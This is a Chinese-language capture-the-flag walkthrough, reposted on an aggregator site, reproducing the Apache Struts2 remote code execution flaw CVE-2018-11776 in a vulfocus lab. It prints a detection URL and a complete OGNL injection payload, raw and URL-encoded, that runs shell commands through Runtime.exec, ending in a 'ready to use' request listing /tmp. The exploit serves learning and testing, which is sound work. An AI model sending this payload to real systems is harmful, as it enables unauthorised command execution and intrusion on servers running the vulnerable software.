概述
1、启动环境:直接vulfocus搜索cve编号启动,并访问环境ip地址
2、判断是否有漏洞:
- 使用特定payload拼接url,访问抓包
ip地址/struts2-showcase/$%7B233*233%7D/actionChain1.action
- 利用BurpSuite抓包并改包,Go得到下图所示结果,说明存在漏洞。可以看到,233X233的结果已经在Location头中返回
3、构造POC,替换掉请求内容
原始poc:
${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec(‘id’)).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
这里需要进行url编码:(自行url编码,不然会出错,我这只是样例)
%24%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B’struts.valueStack’%5D.context).(%23cr%3D%23ct%5B’com.opensymphony.xwork2.ActionContext.container’%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec(‘id’)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D
4、可以看到执行的命令和对应的内容
5、替换执行的内容为ls%20/tmp就可以夺得flag
完成poc(编码之后,可直接食用):
/struts2-showcase/%24%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang.Runtime%40getRuntime().exec('ls%20/tmp')).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7D/actionChain1.action
最后
以上就是清爽麦片为你收集整理的struts2 代码执行(CVE-2018-11776)漏洞复现 vulfocus夺旗的全部内容,希望文章能够帮你解决struts2 代码执行(CVE-2018-11776)漏洞复现 vulfocus夺旗所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复